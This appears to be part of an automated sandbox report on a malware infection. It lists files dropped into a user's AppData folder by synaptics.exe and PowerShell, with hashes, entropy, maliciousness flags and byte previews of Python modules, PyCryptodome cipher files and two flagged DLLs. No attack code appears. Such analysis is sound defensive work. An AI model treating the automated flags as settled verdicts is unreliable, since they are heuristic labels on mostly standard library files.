              Preview:o.......:.-d.2.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.d.d.g.Z.e.j.e.j.B.e.j.B.Z.e.d...Z.e.d...Z.e.d...Z.G.d.d...d.e...Z.e.e.e.d...Z.e...d.e...Z.d.d.d.d.d.d.d.d.d...Z.d.d...Z.d.e.e.j.f.d.d...Z.e.phe.Z.e...d.e...Z.d.Z.d.e.j.e.f.d.d...Z.e.j.e.f.d.d ..Z.G.d!d...d.e...Z.d.S.)"z.Implementation of JSONDecoder......N)...scanner)...scanstring..JSONDecoder..JSONDecodeError..nan..infz.-infc....................@...s ...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.).r....a ...Subclass of ValueError with the following additional properties:.. msg: The unformatted error message. doc: The JSON document being parsed. pos: The start index of doc where parsing failed. lineno: The line corresponding to pos. colno: The column corresponding to pos.. c....................C...sb...|...d.d.|...d...}.|.|...d.d.|.....}.d.|.|.|.|.f...}.t...|.|.....|.|._.|.|._.|.|._.|.|._.|.|._.d.S.).N...r.........z.%s: line %d column %d (char %d))...count..rfind..ValueE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\json\__pycache__\encoder.cpython-310.pyc.56036336

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):11140
              Entropy (8bit):5.4987047843500605
              Encrypted:false
              SSDEEP:
              MD5:CA5F976430E3AFF9431D7A56AF63202C
              SHA1:EF3842724CA5BCBDA3C5A96861EE62D13668AFC5
              SHA-256:AADA8501F6B651BC4CB112C7CE9FB53F7E0398A65D4553AC2CCC67C39978CC00
              SHA-512:41A52059F9F9DB63ACCD4406D049BDD3C60BC81E76BAAF9E2B590FC0F126E73D1333937E9B80E2716C02D833C2A0F4D23C97F744477417403451182F4E75A488
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.@.......................@...s6...d.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y-......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.yA......d.Z.Y.n.w.e...d...Z.e...d...Z.e...d...Z.d.d.d.d.d.d.d.d...Z.e.d...D.].Z.e...e.e...d...e.......q_e.d...Z.d.d...Z.e.pxe.Z.d.d...Z.e.p.e.Z.G.d.d...d.e...Z.e.e.e.e.e.e.e.e e!e.j"f.d.d...Z#d.S.).z.Implementation of JSONEncoder......N)...encode_basestring_ascii)...encode_basestring)...make_encoderz.[\x00-\x1f\\"\b\f\n\r\t]z.([\\"]|[^\ -~])s....[.-.]z.\\z.\"z.\bz.\fz.\nz.\rz.\t)...\.."................ .....\u{0:04x}..infc....................C........d.d...}.d.t...|.|.....d...S.).z5Return a JSON representation of a Python string.. c....................S...s....t.|...d.....S.).Nr....)...ESCAPE_DCT..group)...match..r.....:C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\json\encoder.py..replace(...s......z%py_encode_basestring.<locals>.replacer....)...ESCAPE..sub....sr....r....r....r......py_encode_basestring$...s........r....c......

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\json\__pycache__\scanner.cpython-310.pyc.56034992

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):1939
              Entropy (8bit):5.609853578748715
              Encrypted:false
              SSDEEP:
              MD5:B3186219C752D26D00CB72888AECA2FC
              SHA1:E0543869A613D25227DEF6022652D88A9E6558A1
              SHA-256:AB6FACA6BC1AD896E03D2B1F23D1F3EFE5FABFA9BC28A6050744543496A4ABAF
              SHA-512:D68BE1BE118D96B8EF7AE3A35948DE2D8B776B0C6370A274C74A7B23FE3A06BA061CC9358E2AA63D865A891B5844A2A2238B1CB642BEADA568767FC51002F4F5
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sh...d.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.d.g.Z.e...d.e.j.e.j.B.e.j.B...Z.d.d...Z.e.p1e.Z.d.S.).z.JSON token scanner......N)...make_scannerr....z)(-?(?:0|[1-9]\d*))(\.\d+)?([eE][-+]?\d+)?c........................sv...|.j...|.j...|.j...t.j...|.j...|.j...|.j...|.j...|.j...|.j...|.j...........................f.d.d.........f.d.d...}.|.S.).Nc........................s....z.|.|...}.W.n...t.y.......t.|...d...w.|.d.k.r...|.|.d.......S.|.d.k.r0..|.|.d...f.............S.|.d.k.r=..|.|.d...f.....S.|.d.k.rQ|.|.|.d.......d.k.rQd.|.d...f.S.|.d.k.re|.|.|.d.......d.k.red.|.d...f.S.|.d.k.ry|.|.|.d.......d.k.ryd.|.d...f.S...|.|...}.|.d.u.r.|.....\.}.}.}.|.s.|.r...|.|.p.d...|.p.d.....}.n...|...}.|.|.....f.S.|.d.k.r.|.|.|.d.......d.k.r...d...|.d...f.S.|.d.k.r.|.|.|.d.......d.k.r..d...|.d...f.S.|.d.k.r.|.|.|.d.......d.k.r..d...|.d...f.S.t.|.....).N..".......{..[..n.....Z.null..t..trueT..f.....Z.falseF....N.......NaN..I.......Infinity..-.....z.-Infinit

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\logging\__pycache__\__init__.cpython-310.pyc.58778304

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):66914
              Entropy (8bit):5.227097734917272
              Encrypted:false
              SSDEEP:
              MD5:D1AD8143C10EBCFA897E91CEAA06D411
              SHA1:A1B59A260B4EB1B7DA8E8922ACB24E51F3B3759C
              SHA-256:4E946299774988F5AB1FB2C76537D3441925522E22209AA0A5C05CC9209362B3
              SHA-512:9FC73207899744966E93701E1DBDD2C6265AC70A8E340F4974314094E3941AF3D14FA69C7BF1F775FC1C5E7101D265B9EBEE290020083AA6C469806FCEF5F76E
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d=B.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.d...Z.d.d.l.Z.d.Z.d.Z.d.Z.d.Z.e.....Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.Z.d.Z.d.Z.e.Z.d.Z.d.Z d.Z!e.d.e.d.e.d.e.d.e d.e!d.i.Z"e.e.e.e.e.e.e e!d...Z#d.d...Z$d.d...Z%e&e.d...r.d.d...Z'n.d.d...Z'e.j(.)e%j*j+..Z,d d!..Z-e.....Z/d"d#..Z0d$d%..Z1e&e.d&..s.d'd(..Z2n.e..3..Z4d)d(..Z2d*d+..Z5e.j6e0e5e1d,....G.d-d...d.e7..Z8e8a9d/d0..Z:d1d2..Z;d3d4..Z<e...Z=[.G.d5d6..d6e7..Z>G.d7d8..d8e>..Z?G.d9d:..d:e>..Z@d;ZAe>eAf.e?d<f.e@d=f.d>..ZBG.d?d@..d@e7..Z.e...ZCG.dAdB..dBe7..ZDG.dCdD..dDe7..ZEG.dEdF..dFe7..ZFe..G..ZHg.ZIdGdH..ZJdIdJ..ZKG.dKdL..dLeF..ZLG.dMdN..dNeL..ZMG.dOdP..dPeM..ZNG.dQdR..dReM..ZOeOe...ZPePZQG.dSdT..dTe7..ZRdUdV..ZSdWdX..ZTG.dYdZ..dZe7..ZUG.d[d\..d\eF..ZVG.d]d^..d^eV..ZWeVaXG.d_d`..d`e7..ZYeWe...ZZeZeV_ZeUeVjZ..eV_[dadb..Z\d.dcdd..Z]dedf..Z^dgdh..Z_didj..Z`d.dk..dldm..Zadndo..Zbdpdq..Zcdrds..Zddtdu..Zedvdw..Zfe.f.dxdy..ZgeIf.dzd{..Zhd.d.liZiei.jeh..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\DES.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1001
              Entropy (8bit):4.909258900429456
              Encrypted:false
              SSDEEP:
              MD5:1EA64CB2FDD42F20112DF249B9A7CB87
              SHA1:633110F4D03C3EDF415640989802108EC2764422
              SHA-256:98BBDA18A15E4757AB66CC049EADA7FE944FF2D1093EE70F643D634CAF296E7E
              SHA-512:2845EBEC10C8250A0B4C7D0AB87245CF91D07D0F0973B0289516F94494D5698E17A9709D1B411B04908F02FC83B0922F0AEDEADF7901106184EA247729DAADF8
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Dict, Iterable, Optional....Buffer = bytes|bytearray|memoryview....from Crypto.Cipher._mode_ecb import EcbMode..from Crypto.Cipher._mode_cbc import CbcMode..from Crypto.Cipher._mode_cfb import CfbMode..from Crypto.Cipher._mode_ofb import OfbMode..from Crypto.Cipher._mode_ctr import CtrMode..from Crypto.Cipher._mode_openpgp import OpenPgpMode..from Crypto.Cipher._mode_eax import EaxMode....DESMode = int....MODE_ECB: DESMode..MODE_CBC: DESMode..MODE_CFB: DESMode..MODE_OFB: DESMode..MODE_CTR: DESMode..MODE_OPENPGP: DESMode..MODE_EAX: DESMode....def new(key: Buffer,.. mode: DESMode,.. iv : Optional[Buffer] = ...,.. IV : Optional[Buffer] = ...,.. nonce : Optional[Buffer] = ...,.. segment_size : int = ...,.. mac_len : int = ...,.. initial_value : Union[int, Buffer] = ...,.. counter : Dict = ...) -> \.. Union[EcbMode, CbcMode, CfbMode, OfbMode, CtrMode, OpenPgpMode]: .......block_size: int..key_size: int.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\DES3.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7112
              Entropy (8bit):4.8687640980714715
              Encrypted:false
              SSDEEP:
              MD5:44204A7CBBF99E82EB31B7F746B43AB3
              SHA1:4589336CF1A1D1E74DAAA10E87C898DD804DB7F8
              SHA-256:70D9B525599D85146924EF8DBDF0980C42A03F4FBB2D01A2CADBF7ED2D43CD93
              SHA-512:1D0403F3BCDF6AE8A7A7D2FE339112B7BE604EA1D103388547760FF73CBBC7DF5106CF6D702A6134CC4C51A836FEB3ED42AC0BFDE90A46E67F684ECCA3DDF4F6
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# Cipher/DES3.py : DES3..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\DES3.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1073
              Entropy (8bit):4.981416466224206
              Encrypted:false
              SSDEEP:
              MD5:4E6C49F8750DD064B28D3138434CC5F3
              SHA1:121984851A159ED24D11E4E79DF4B0B4BCF6AE63
              SHA-256:9005CB3F60F682B7840F7112D940128AE8EA1777DAC8C1F3A4B8F0E17F6A398B
              SHA-512:E21FC0A0B2D2CCD167CC2B9B0B9DE66771B11AF4CF2D9510F53E029D1CC43407A03B2866C000E6E31975C73B9457BB3CB99317E8FC51D276B84C93E9CC6CBEB3
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Dict, Tuple, Optional....Buffer = bytes|bytearray|memoryview....from Crypto.Cipher._mode_ecb import EcbMode..from Crypto.Cipher._mode_cbc import CbcMode..from Crypto.Cipher._mode_cfb import CfbMode..from Crypto.Cipher._mode_ofb import OfbMode..from Crypto.Cipher._mode_ctr import CtrMode..from Crypto.Cipher._mode_openpgp import OpenPgpMode..from Crypto.Cipher._mode_eax import EaxMode....def adjust_key_parity(key_in: bytes) -> bytes: .......DES3Mode = int....MODE_ECB: DES3Mode..MODE_CBC: DES3Mode..MODE_CFB: DES3Mode..MODE_OFB: DES3Mode..MODE_CTR: DES3Mode..MODE_OPENPGP: DES3Mode..MODE_EAX: DES3Mode....def new(key: Buffer,.. mode: DES3Mode,.. iv : Optional[Buffer] = ...,.. IV : Optional[Buffer] = ...,.. nonce : Optional[Buffer] = ...,.. segment_size : int = ...,.. mac_len : int = ...,.. initial_value : Union[int, Buffer] = ...,.. counter : Dict = ...) -> \.. Union[EcbMode, CbcMode, CfbMode, OfbMode, C

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\PKCS1_OAEP.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8783
              Entropy (8bit):4.798422325497298
              Encrypted:false
              SSDEEP:
              MD5:1451B65F3E7EC1B91C1D496EAAA705D0
              SHA1:D695CB12CEE4E321748CA8E4DEBBC82945628769
              SHA-256:D924170C92BE9E1324DEDC5B731F92513CDF759A251148DF8ECF1A0E6011D77C
              SHA-512:5D002279E789E867E643F97B91C65C45DA561171D0CFCF6EC3A3CBB35BBD3B44923EC5249D89E788D637CF8F7D9617808C2CEE806775E49FB5E9D14B3B6A1BED
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# Cipher/PKCS1_OAEP.py : PKCS#1 OAEP..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ======================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\PKCS1_OAEP.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1214
              Entropy (8bit):4.8233945885346685
              Encrypted:false
              SSDEEP:
              MD5:A065FCD801FD38FDC5457C65A8B94801
              SHA1:7C353866EA0CFC0E55A90530714758115424B723
              SHA-256:DFEAE2746DEFD28744873401D008462C4C1EF4899B7BAFAEAE14FCA12A5BB73E
              SHA-512:959C65295EA6C93D67E7C1E5361A03C09CB7A37C7C64A92334A0C612952C3609708766780C99BD93DD5A9C23D79B7A3CF0C0614D083A13F3F9A8D5DBC3E6C7A2
              Malicious:false
              Reputation:unknown
              Preview:from typing import Optional, Union, Callable, Any, overload..from typing_extensions import Protocol....from Crypto.PublicKey.RSA import RsaKey....class HashLikeClass(Protocol):.. digest_size : int.. def new(self, data: Optional[bytes] = ...) -> Any: .......class HashLikeModule(Protocol):.. digest_size : int.. @staticmethod.. def new(data: Optional[bytes] = ...) -> Any: .......HashLike = Union[HashLikeClass, HashLikeModule]....Buffer = Union[bytes, bytearray, memoryview]....class PKCS1OAEP_Cipher:.. def __init__(self,.. key: RsaKey,.. hashAlgo: HashLike,.. mgfunc: Callable[[bytes, int], bytes],.. label: Buffer,.. randfunc: Callable[[int], bytes]) -> None: ..... def can_encrypt(self) -> bool: ..... def can_decrypt(self) -> bool: ..... def encrypt(self, message: Buffer) -> bytes: ..... def decrypt(self, ciphertext: Buffer) -> bytes: .......def new(key: RsaKey,.. hashAlgo: O

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\PKCS1_v1_5.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7208
              Entropy (8bit):4.875780210138466
              Encrypted:false
              SSDEEP:
              MD5:33552EE7C36C1E8B6AC76AAA51B18EA2
              SHA1:4B0476C73EFCA6264D64DEED3B2EC21F67B2FD82
              SHA-256:8BBD80ADF2035DED54365EB2076468D32E6BF9A5007C19557AFEAE19932A685F
              SHA-512:6AFE6599B48464CE0AEB8F29225A85EFE722C558E9F1F8EE30FD2EFB201FCC663F8E42355452D19AE905FDDB6A13C30E4FDBC57D17F94BDC118EBAAC90538A47
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# Cipher/PKCS1-v1_5.py : PKCS#1 v1.5..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ======================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\PKCS1_v1_5.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):706
              Entropy (8bit):4.785885591583499
              Encrypted:false
              SSDEEP:
              MD5:48B6BF106FC448220A97A73FBFA2425F
              SHA1:9899751126284AEC60B7D2C28047A93063B9CB20
              SHA-256:219BE400169E585320C518A50540EDA12E3C4F489322C42D56FDAD283D07A021
              SHA-512:D05EF3D93B5460A172FC3AB0E21B256CA3CE7BA3C7569E8074E01FDA2A7A309F63EEA6D7FB17D501DC77EC639C963B6D07A0EB0094A6DBF6C4645A30FB46D36E
              Malicious:false
              Reputation:unknown
              Preview:from typing import Callable, Union, Any, Optional, TypeVar....from Crypto.PublicKey.RSA import RsaKey....Buffer = Union[bytes, bytearray, memoryview]..T = TypeVar('T')....class PKCS115_Cipher:.. def __init__(self,.. key: RsaKey,.. randfunc: Callable[[int], bytes]) -> None: ..... def can_encrypt(self) -> bool: ..... def can_decrypt(self) -> bool: ..... def encrypt(self, message: Buffer) -> bytes: ..... def decrypt(self, ciphertext: Buffer,.. sentinel: T,.. expected_pt_len: Optional[int] = ...) -> Union[bytes, T]: .......def new(key: RsaKey,.. randfunc: Optional[Callable[[int], bytes]] = ...) -> PKCS115_Cipher: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\Salsa20.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6516
              Entropy (8bit):4.625878868247197
              Encrypted:false
              SSDEEP:
              MD5:35B1A807346DF9FAD49A2396E0E7C64E
              SHA1:9A46CF85539233672C3ED0D06E4F1EE5B53BFB27
              SHA-256:80A7769DE32A81B8FB8CBE362066FF80711D630C0BEB39235246E4FD53E11870
              SHA-512:DF42F3A86A75FA52B2005A493B3E48CBDC0972CD81811C70308CB80D7006CE88FD6E9AA3393D2C687855030EF17A2031F4C8D5371888944FE8F8F2AC439C45C4
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# Cipher/Salsa20.py : Salsa20 stream cipher (http://cr.yp.to/snuffle.html)..#..# Contributed by Fabrizio Tarizzo <fabrizio@fabriziotarizzo.org>...#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\Salsa20.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):770
              Entropy (8bit):4.753367031924495
              Encrypted:false
              SSDEEP:
              MD5:F43BFBB1DE638F92162C8659DEFF5FCC
              SHA1:791719D6BDC25E30D7B0A7DB4AF08FF1A621A083
              SHA-256:EDCD33B9365AD546CF6B01C7FEFC73F1E7558BB50BFDB47FEF26212C2E027AE6
              SHA-512:1EEDEBCBCE99C19C2F489DDBD7B0C1B9020CBBC4A29C9E2E02AF3BA3FBECE0AB1E4F97BE2A62148F1E90B77B7B4AB88DAC847902BB984C7C4787D4B88D113B4B
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Tuple, Optional, overload, Optional....Buffer = bytes|bytearray|memoryview....class Salsa20Cipher:.. nonce: bytes.. block_size: int.. key_size: int.... def __init__(self,.. key: Buffer,.. nonce: Buffer) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .......def new(key: Buffer, nonce: Optional[Buffer] = ...) -> Salsa20Cipher: .......block_size: int..key_size: Tuple[int, int]....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_ARC4.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):9216
              Entropy (8bit):4.959115197910263
              Encrypted:false
              SSDEEP:
              MD5:47B5D19D47FCB7D3B7A946541E94B837
              SHA1:6208B03F489ACD43AAD70019861757DC8FA612B2
              SHA-256:4E5E63A8DF659E5600077203F4B96D9C4CCD9E676DB15F4E27F415DB80938DC3
              SHA-512:B9D89B2BC6D4760CB217B12016359920EAB375C68A0C33DA7AD26A3298B5A0BBEA1E7180B285F0816542BC3BB210F39EFB12399794DACFAA5AD95D63450ADA15
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.?.go..v...ao..(...`o..co..Bo..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.S.bo..Y..bo..Richco..................PE..L...9..e...........!...%............N........ ...............................`............@..........................%.......%..d....@.......................P..D...p!............................... ..@............ ..t............................text...S........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@....... ..............@..@.reloc..D....P......."..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_EKSBlowfish.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5336
              Entropy (8bit):4.836111981939897
              Encrypted:false
              SSDEEP:
              MD5:A5F07807C63A0A82CFE7F644D72C9F9D
              SHA1:4F44ED26FD9770A9B8ED279C9E75FFEB2C84B756
              SHA-256:26B7450998B5E04410A77486C695457C58DCBC8DB24F50CC685651D223F3BE8E
              SHA-512:535FDCFDDDF7D64D097B0B51F64EBD14D453895B167E379D105E15F8F9681100B324A02004A3DD059B599EF88C01B81E0AD5546E90F1251EA2172BA5DF6D9252
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2019, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_EKSBlowfish.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):281
              Entropy (8bit):4.919666506917015
              Encrypted:false
              SSDEEP:
              MD5:4030500BC383DEE6F4BBDF228147813E
              SHA1:DE9B1C78DD481B3B42A29AB5485C2C1B3EDFF182
              SHA-256:4917140D2EAE01669B206BEAB2164796D2DF836CFBD8ACCC9189CF4E6EEBEDB2
              SHA-512:FCAE9156019C79B2033E53F4F0626FD729F8B99F6EB73C837330D5AE079F19CCBA33A7EB2C72CC3055C365B2ED272AFCD7313310A9C2F1120EA16FF0E7AFF63A
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Iterable....from Crypto.Cipher._mode_ecb import EcbMode....MODE_ECB: int....Buffer = Union[bytes, bytearray, memoryview]....def new(key: Buffer,.. mode: int,...salt: Buffer,...cost: int) -> EcbMode: .......block_size: int..key_size: Iterable[int]..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_Salsa20.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):10240
              Entropy (8bit):5.4532357704943815
              Encrypted:false
              SSDEEP:
              MD5:CB9E65D1D021CFB12C65C50BF80DAF5C
              SHA1:A7D94737E8C52F868960799581F397E1427E47CD
              SHA-256:8611AB59513020BB21528D604BD168B2BBBD4A87A093CE3502B8221D9E36ADFC
              SHA-512:5C0076AAFD67EEDC85095C1EED6407A778BCFDACBD42A15EE87037C20E15D556C2DC8BB71C191C82D4D3158A95C7BD771F0E36459563851F56F77D1BC4DD34A7
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.?.go..v...ao..(...`o..co..Bo..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.S.bo..Y..bo..Richco..................PE..L...9..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..L....1...............................0..@............0..t............................text............................... ..`.rdata.."....0......................@..@.data........@......."..............@....rsrc........P.......$..............@..@.reloc..L....`.......&..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2923
              Entropy (8bit):4.69817669465711
              Encrypted:false
              SSDEEP:
              MD5:C0765E2C315E8F9736A7AABD7C92E132
              SHA1:61E185BB15AE453031CE0DFC166A0FA05A8B2138
              SHA-256:5EE4031AEDAC195C6528FC9705C342286DF2D8018348EB0279C7148EA85E8830
              SHA-512:3EA5E75439A504FC0CAA8683E62C7D07BC57A46480D260EDE8D53E985B9084E55730D2C93F68612354E6253424BDD258D363559108ADE942E5C4A24318B64F76
              Malicious:false
              Reputation:unknown
